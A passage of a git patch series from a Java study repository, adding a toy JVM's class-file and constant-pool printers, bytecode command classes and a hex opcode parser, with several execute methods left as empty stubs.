+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitClassInfo(this);		
+	}
+}
diff --git a/group19/1294642551/src/jvm/print/ClassFilePrinter.java b/group19/1294642551/src/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..abff3602fe
--- /dev/null
+++ b/group19/1294642551/src/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,54 @@
+package jvm.print;
+
+import jvm.clz.ClassFile;
+import jvm.constant.ClassInfo;
+import jvm.constant.ConstantInfo;
+import jvm.constant.ConstantPool;
+import jvm.constant.FieldRefInfo;
+import jvm.constant.MethodRefInfo;
+import jvm.constant.NameAndTypeInfo;
+
+import jvm.constant.StringInfo;
+import jvm.constant.UTF8Info;
+import jvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+	ClassFile clzFile = null;
+	public ClassFilePrinter(ClassFile clzFile){
+		this.clzFile = clzFile;
+	}
+	
+	public void print(){
+		
+		if(clzFile.getAccessFlag().isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ clzFile.getClassName());
+		
+		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
+		
+		System.out.println("minor version:" + clzFile.getMinorVersion());
+		
+		System.out.println("major version:" + clzFile.getMajorVersion());
+		
+		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+		cnstPoolPrinter.print();
+		
+		
+		
+		
+	}
+	
+	public static void main(String[] args){
+		String path = "D:\\Git Files\\coding2017\\group19\\1294642551\\bin";
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path);
+		String className = "jvm.EmployeeV1";
+		
+		ClassFile clzFile = loader.loadClass(className);
+		
+		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
+		
+		printer.print();
+	}
+}
diff --git a/group19/1294642551/src/jvm/print/ConstantPoolPrinter.java b/group19/1294642551/src/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..de85de2eaf
--- /dev/null
+++ b/group19/1294642551/src/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,87 @@
+package jvm.print;
+
+import jvm.constant.ClassInfo;
+import jvm.constant.ConstantInfo;
+import jvm.constant.ConstantPool;
+import jvm.constant.FieldRefInfo;
+import jvm.constant.MethodRefInfo;
+import jvm.constant.NameAndTypeInfo;
+import jvm.constant.StringInfo;
+import jvm.constant.UTF8Info;
+
+public class ConstantPoolPrinter {
+	ConstantPool pool;
+	ConstantPoolPrinter(ConstantPool pool){
+		this.pool = pool;
+	}
+	public void print(){
+		
+		System.out.println("Constant Pool:");
+		
+		ConstantInfo.Visitor visitor = new ConstantInfo.Visitor() {
+			
+			@Override
+			public void visitString(StringInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("String    #").append(info.getIndex());
+				System.out.println(buffer);
+				
+			}
+			
+			@Override
+			public void visitNameAndType(NameAndTypeInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("NameAndType    #").append(info.getIndex1()).append(":#")
+				.append(info.getIndex2());
+				System.out.println(buffer);
+				
+			}
+			
+			@Override
+			public void visitMethodRef(MethodRefInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("MethodRef    #").append(info.getClassInfoIndex()).append(".#")
+				.append(info.getNameAndTypeIndex());
+				System.out.println(buffer);
+				
+			}
+			
+			@Override
+			public void visitFieldRef(FieldRefInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("FieldRef    #").append(info.getClassInfoIndex()).append(".#")
+				.append(info.getNameAndTypeIndex());
+				System.out.println(buffer);
+				
+			}
+			
+			@Override
+			public void visitClassInfo(ClassInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("Class    #").append(info.getUtf8Index())
+				.append("  ").append(info.getClassName());
+				
+				System.out.println(buffer);
+				
+			}
+			
+			@Override
+			public void visistUTF8(UTF8Info info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("UTF8    ").append(info.getValue());
+				System.out.println(buffer);
+				
+			}
+		};
+		
+		for(int i=1; i<=pool.getSize(); i++){
+			ConstantInfo constantInfo = pool.getConstantInfo(i);
+			System.out.print("#"+i+"=");
+			constantInfo.accept(visitor);			
+		}
+	}
+		
+		
+		
+		
+}

From e9ec7bd7b7ae8557fde6db92150c1f00a787c0b2 Mon Sep 17 00:00:00 2001
From: "wangxg922@chinaunincom.cn" <wangxg922@chinaunincom.cn>
Date: Thu, 11 May 2017 17:08:58 +0800
Subject: [PATCH 252/262] =?UTF-8?q?Signed-off-by:=20=E9=87=8D=E6=96=B0?=
 =?UTF-8?q?=E6=8F=90=E4=BA=A4?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../src/com/coderising/jvm/attr/CodeAttr.java |  18 ++
 .../src/com/coderising/jvm/clz/ClassFile.java |  18 +-
 .../src/com/coderising/jvm/cmd/AstoreCmd.java |  12 ++
 .../src/com/coderising/jvm/cmd/BiPushCmd.java |  31 ++++
 .../coderising/jvm/cmd/ByteCodeCommand.java   | 130 ++++++++++++++
 .../com/coderising/jvm/cmd/CommandParser.java | 163 ++++++++++++++++++
 .../src/com/coderising/jvm/cmd/DupCmd.java    |  17 ++
 .../com/coderising/jvm/cmd/GetFieldCmd.java   |  30 ++++
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  31 ++++
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  31 ++++
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  29 ++++
 .../src/com/coderising/jvm/cmd/LdcCmd.java    |  37 ++++
 .../src/com/coderising/jvm/cmd/LoadCmd.java   |  12 ++
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  27 +++
 .../com/coderising/jvm/cmd/NoOperandCmd.java  |  31 ++++
 .../com/coderising/jvm/cmd/OneOperandCmd.java |  29 ++++
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  27 +++
 .../com/coderising/jvm/cmd/TwoOperandCmd.java |  67 +++++++
 .../com/coderising/jvm/cmd/VoidReturnCmd.java |  12 ++
 .../coderising/jvm/constant/ConstantPool.java |   2 +-
 .../jvm/engine/ExecutionResult.java           |  56 ++++++
 .../coderising/jvm/engine/ExecutorEngine.java |  54 ++++++
 .../src/com/coderising/jvm/engine/Heap.java   |  39 +++++
 .../com/coderising/jvm/engine/JavaObject.java |  71 ++++++++
 .../com/coderising/jvm/engine/MethodArea.java |  68 ++++++++
 .../com/coderising/jvm/engine/MiniJVM.java    |  28 +++
 .../com/coderising/jvm/engine/StackFrame.java |  95 ++++++++++
 .../src/com/coderising/jvm/field/Field.java   |   5 +
 .../jvm/loader/ClassFileParser.java           |   4 +-
 .../src/com/coderising/jvm/method/Method.java |  12 ++
 .../jvm/print/ClassFilePrinter.java           |  54 ++++++
 .../jvm/print/ConstantPoolPrinter.java        | 130 ++++++++++++++
 .../jvm/test/ClassFileloaderTest.java         | 151 +++++++++++++++-
 .../com/coderising/jvm/test/MiniJVMTest.java  |  28 +++
 .../com/coding/basic/queue/CircleQueue.java   |  54 ++++++
 .../src/com/coding/basic/queue/Josephus.java  |  33 ++++
 .../com/coding/basic/queue/JosephusTest.java  |  27 +++
 .../src/com/coding/basic/queue/Queue.java     |  61 +++++++
 .../basic/queue/QueueWithTwoStacks.java       |  55 ++++++
 .../com/coding/basic/stack/QuickMinStack.java |  45 +++++
 .../com/coding/basic/stack/StackUtilTest.java |   2 +
 .../basic/stack/StackWithTwoQueues.java       |  42 +++++
 .../basic/stack/TwoStackInOneArray.java       |  84 +++++++++
 .../coding/basic/stack/expr/InfixExpr.java    |  69 ++++++++
 .../basic/stack/expr/InfixExprTest.java       |  52 ++++++
 .../basic/stack/expr/InfixToPostfix.java      |  46 +++++
 .../coding/basic/stack/expr/PostfixExpr.java  |  52 ++++++
 .../basic/stack/expr/PostfixExprTest.java     |  41 +++++
 .../coding/basic/stack/expr/PrefixExpr.java   |  55 ++++++
 .../basic/stack/expr/PrefixExprTest.java      |  45 +++++
 .../com/coding/basic/stack/expr/Token.java    |  51 ++++++
 .../coding/basic/stack/expr/TokenParser.java  |  41 +++++
 .../basic/stack/expr/TokenParserTest.java     |  40 +++++
 53 files changed, 2439 insertions(+), 5 deletions(-)
 create mode 100644 group11/996108220/src/com/coderising/jvm/cmd/AstoreCmd.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/cmd/BiPushCmd.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/cmd/ByteCodeCommand.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/cmd/CommandParser.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/cmd/DupCmd.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/cmd/GetFieldCmd.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/cmd/LdcCmd.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/cmd/LoadCmd.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/cmd/NewObjectCmd.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/cmd/NoOperandCmd.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/cmd/OneOperandCmd.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/cmd/PutFieldCmd.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/cmd/TwoOperandCmd.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/cmd/VoidReturnCmd.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/engine/ExecutionResult.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/engine/ExecutorEngine.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/engine/Heap.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/engine/JavaObject.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/engine/MethodArea.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/engine/MiniJVM.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/engine/StackFrame.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/print/ClassFilePrinter.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/print/ConstantPoolPrinter.java
 create mode 100644 group11/996108220/src/com/coderising/jvm/test/MiniJVMTest.java
 create mode 100644 group11/996108220/src/com/coding/basic/queue/CircleQueue.java
 create mode 100644 group11/996108220/src/com/coding/basic/queue/Josephus.java
 create mode 100644 group11/996108220/src/com/coding/basic/queue/JosephusTest.java
 create mode 100644 group11/996108220/src/com/coding/basic/queue/Queue.java
 create mode 100644 group11/996108220/src/com/coding/basic/queue/QueueWithTwoStacks.java
 create mode 100644 group11/996108220/src/com/coding/basic/stack/QuickMinStack.java
 create mode 100644 group11/996108220/src/com/coding/basic/stack/StackWithTwoQueues.java
 create mode 100644 group11/996108220/src/com/coding/basic/stack/TwoStackInOneArray.java
 create mode 100644 group11/996108220/src/com/coding/basic/stack/expr/InfixExpr.java
 create mode 100644 group11/996108220/src/com/coding/basic/stack/expr/InfixExprTest.java
 create mode 100644 group11/996108220/src/com/coding/basic/stack/expr/InfixToPostfix.java
 create mode 100644 group11/996108220/src/com/coding/basic/stack/expr/PostfixExpr.java
 create mode 100644 group11/996108220/src/com/coding/basic/stack/expr/PostfixExprTest.java
 create mode 100644 group11/996108220/src/com/coding/basic/stack/expr/PrefixExpr.java
 create mode 100644 group11/996108220/src/com/coding/basic/stack/expr/PrefixExprTest.java
 create mode 100644 group11/996108220/src/com/coding/basic/stack/expr/Token.java
 create mode 100644 group11/996108220/src/com/coding/basic/stack/expr/TokenParser.java
 create mode 100644 group11/996108220/src/com/coding/basic/stack/expr/TokenParserTest.java

diff --git a/group11/996108220/src/com/coderising/jvm/attr/CodeAttr.java b/group11/996108220/src/com/coderising/jvm/attr/CodeAttr.java
index aeb0d91f16..dfc85bdb8e 100644
--- a/group11/996108220/src/com/coderising/jvm/attr/CodeAttr.java
+++ b/group11/996108220/src/com/coderising/jvm/attr/CodeAttr.java
@@ -1,6 +1,10 @@
 package com.coderising.jvm.attr;
 
+import java.util.ArrayList;
+
 import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.LdcCmd;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.loader.ByteCodeIterator;
 
@@ -49,6 +53,20 @@ private void setStackMapTable(StackMapTable t) {
 		
 	}
 
+//	public ByteCodeCommand[] getCmds() {
+//		// TODO Auto-generated method stub
+//		int index=0;
+//		ArrayList<ByteCodeCommand> list=new ArrayList<>();
+//		while (index<=code.length()) {
+//			String opCode=code.substring(index,index+1);
+//			if (opCode.equals("2a")) {
+//				list.add(new LdcCmd(clzFile, opCode));
+//			}
+//			
+//		}
+//		return null;
+//	}
+
 	
 	
 	
diff --git a/group11/996108220/src/com/coderising/jvm/clz/ClassFile.java b/group11/996108220/src/com/coderising/jvm/clz/ClassFile.java
index 5fb4b5c922..94056eb2e0 100644
--- a/group11/996108220/src/com/coderising/jvm/clz/ClassFile.java
+++ b/group11/996108220/src/com/coderising/jvm/clz/ClassFile.java
@@ -5,6 +5,7 @@
 
 import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
 import com.coderising.jvm.field.Field;
 import com.coderising.jvm.method.Method;
 
@@ -79,13 +80,26 @@ public void print(){
 		
 	}
 	
-	private String getClassName(){
+	public String getClassName(){
 		int thisClassIndex = this.clzIndex.getThisClassIndex();
 		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
 		return thisClass.getClassName();
 	}
-	private String getSuperClassName(){
+	public String getSuperClassName(){
 		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
 		return superClass.getClassName();
 	}
+	public Method getMainMethod() {
+		return getMethod("main", null);
+	}
+	public Method getMethod(String string, String string2) {
+		for (int i = 0; i < methods.size(); i++) {
+			Method method=methods.get(i);
+			UTF8Info utf8Info=(UTF8Info)pool.getConstantInfo(method.getNameIndex());
+			if (utf8Info.getValue().equals(string)) {
+				return method;
+			}
+		}
+		return null;
+	}
 }
diff --git a/group11/996108220/src/com/coderising/jvm/cmd/AstoreCmd.java b/group11/996108220/src/com/coderising/jvm/cmd/AstoreCmd.java
new file mode 100644
index 0000000000..ea84805be1
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/cmd/AstoreCmd.java
@@ -0,0 +1,12 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public class AstoreCmd extends NoOperandCmd{
+
+	public AstoreCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+		// TODO Auto-generated constructor stub
+	}
+	
+}
diff --git a/group11/996108220/src/com/coderising/jvm/cmd/BiPushCmd.java b/group11/996108220/src/com/coderising/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..1f60641d2d
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,31 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
+
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+	
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
+	
+	
+
+}
diff --git a/group11/996108220/src/com/coderising/jvm/cmd/ByteCodeCommand.java b/group11/996108220/src/com/coderising/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..892bfcd51d
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,130 @@
+package com.coderising.jvm.cmd;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
+
+
+public abstract class ByteCodeCommand {	
+	
+	String opCode;
+	ClassFile clzFile;	
+	private int offset;
+	
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");//3
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");//3
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");//1
+		codeMap.put("2B", "aload_1");//1
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode;
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	
+	
+	
+	public String toString(){
+		
+		StringBuffer buffer = new StringBuffer();
+		buffer.append(this.opCode);
+		
+		return buffer.toString();
+	}
+	public abstract String toString(ConstantPool pool);
+	
+	public String getReadableCodeText(){
+		String txt = codeMap.get(opCode.toUpperCase());
+		if(txt == null){
+			return opCode;
+		}
+		return txt;
+	}
+	
+	public abstract void execute(StackFrame frame,ExecutionResult result);
+}
diff --git a/group11/996108220/src/com/coderising/jvm/cmd/CommandParser.java b/group11/996108220/src/com/coderising/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..fb48eb2910
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/cmd/CommandParser.java
@@ -0,0 +1,163 @@
+package com.coderising.jvm.cmd;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
+
+public class CommandParser {
+	
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+
+	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+		ArrayList<ByteCodeCommand> list=new ArrayList<>();
+		CommandIterator iterator=new CommandIterator(codes);
+		while (iterator.hasNext()) {
+			String opCode=iterator.next2CharAsString();
+			if (opCode.equalsIgnoreCase(aload_0)) {
+				list.add(new LoadCmd(clzFile, opCode));				
+			}
+			else if (opCode.equalsIgnoreCase(invokespecial)) {
+				InvokeSpecialCmd invokeSpecialCmd=new InvokeSpecialCmd(clzFile, opCode);
+				invokeSpecialCmd.setOprand1(iterator.next2CharAsInt());
+				invokeSpecialCmd.setOprand2(iterator.next2CharAsInt());
+				list.add(invokeSpecialCmd);
+				
+			}
+			else if (opCode.equalsIgnoreCase(aload_1)) {
+				list.add(new LoadCmd(clzFile, opCode));
+			}
+			else if (opCode.equalsIgnoreCase(putfield)){
+				PutFieldCmd putFieldCmd=new PutFieldCmd(clzFile, opCode);
+				putFieldCmd.setOprand1(iterator.next2CharAsInt());
+				putFieldCmd.setOprand2(iterator.next2CharAsInt());
+				list.add(putFieldCmd);
+				
+			}
+			else if (opCode.equalsIgnoreCase(iload_2)) {
+				list.add(new LoadCmd(clzFile, opCode));
+			}
+			else if (opCode.equalsIgnoreCase(new_object)) {
+				NewObjectCmd newObjectCmd=new NewObjectCmd(clzFile, opCode);
+				newObjectCmd.setOprand1(iterator.next2CharAsInt());
+				newObjectCmd.setOprand2(iterator.next2CharAsInt());
+				list.add(newObjectCmd);
+			}
+			else if (opCode.equalsIgnoreCase(dup)) {
+				
+				list.add(new DupCmd(clzFile, opCode));
+			}
+			else if (opCode.equalsIgnoreCase(bipush)) {
+				BiPushCmd biPushCmd=new BiPushCmd(clzFile, opCode);
+				biPushCmd.setOperand(iterator.next2CharAsInt());		
+				list.add(biPushCmd);
+			}
+			else if (opCode.equalsIgnoreCase(invokevirtual)) {
+				InvokeVirtualCmd invokeVirtualCmd=new InvokeVirtualCmd(clzFile, opCode);
+				invokeVirtualCmd.setOprand1(iterator.next2CharAsInt());
+				invokeVirtualCmd.setOprand2(iterator.next2CharAsInt());
+				list.add(invokeVirtualCmd);
+			}
+			else if (opCode.equalsIgnoreCase(voidreturn)) {
+				list.add(new VoidReturnCmd(clzFile, opCode));
+			}
+			else if (opCode.equalsIgnoreCase(getstatic)) {
+				GetStaticFieldCmd getStaticFieldCmd=new GetStaticFieldCmd(clzFile, opCode);
+				getStaticFieldCmd.setOprand1(iterator.next2CharAsInt());
+				getStaticFieldCmd.setOprand2(iterator.next2CharAsInt());
+				list.add(getStaticFieldCmd);
+			}
+			else if (opCode.equalsIgnoreCase(getfield)) {
+				GetFieldCmd getFieldCmd=new GetFieldCmd(clzFile, opCode);
+				getFieldCmd.setOprand1(iterator.next2CharAsInt());
+				getFieldCmd.setOprand2(iterator.next2CharAsInt());
+				list.add(getFieldCmd);
+			}
+			else if (opCode.equalsIgnoreCase(ldc)) {
+				LdcCmd ldcCmd=new LdcCmd(clzFile, opCode);
+				ldcCmd.setOperand(iterator.next2CharAsInt());
+				list.add(ldcCmd);
+			}
+			else if (opCode.equalsIgnoreCase(astore_1)) {
+				list.add(new AstoreCmd(clzFile, opCode));
+			}
+		}
+		calcuateOffset(list);
+		ByteCodeCommand [] byteCodeCommands=new ByteCodeCommand [list.size()];
+		for (int i = 0; i < byteCodeCommands.length; i++) {
+			byteCodeCommands[i]=list.get(i);
+		}
+		return byteCodeCommands;
+	}
+
+	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+		int offset = 0;
+		for (ByteCodeCommand cmd : cmds) {
+			cmd.setOffset(offset);
+			offset += cmd.getLength();
+		}
+
+	}
+
+	private static class CommandIterator {
+		String codes = null;
+		int pos = 0;
+
+		CommandIterator(String codes) {
+			this.codes = codes;
+		}
+
+		public boolean hasNext() {
+			return pos < this.codes.length();
+		}
+
+		public String next2CharAsString() {
+			String result = codes.substring(pos, pos + 2);
+			pos += 2;
+			return result;
+		}
+
+		public int next2CharAsInt() {
+			String s = this.next2CharAsString();
+			return Integer.valueOf(s, 16).intValue();
+		}
+
+	}
+}
diff --git a/group11/996108220/src/com/coderising/jvm/cmd/DupCmd.java b/group11/996108220/src/com/coderising/jvm/cmd/DupCmd.java
new file mode 100644
index 0000000000..6ad1802585
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/cmd/DupCmd.java
@@ -0,0 +1,17 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
+
+public class DupCmd extends NoOperandCmd{
+
+	public DupCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+		// TODO Auto-generated constructor stub
+	}
+
+
+
+}
diff --git a/group11/996108220/src/com/coderising/jvm/cmd/GetFieldCmd.java b/group11/996108220/src/com/coderising/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..c771d535f7
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,30 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
+
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+	public GetFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
+
+	
+	
+
+}
diff --git a/group11/996108220/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group11/996108220/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..e6876c36bb
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,31 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
+
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
+
+}
diff --git a/group11/996108220/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group11/996108220/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..8d60e72341
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,31 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
+
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
+
+	
+
+}
diff --git a/group11/996108220/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group11/996108220/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..a1f2d1a1c6
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
+
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
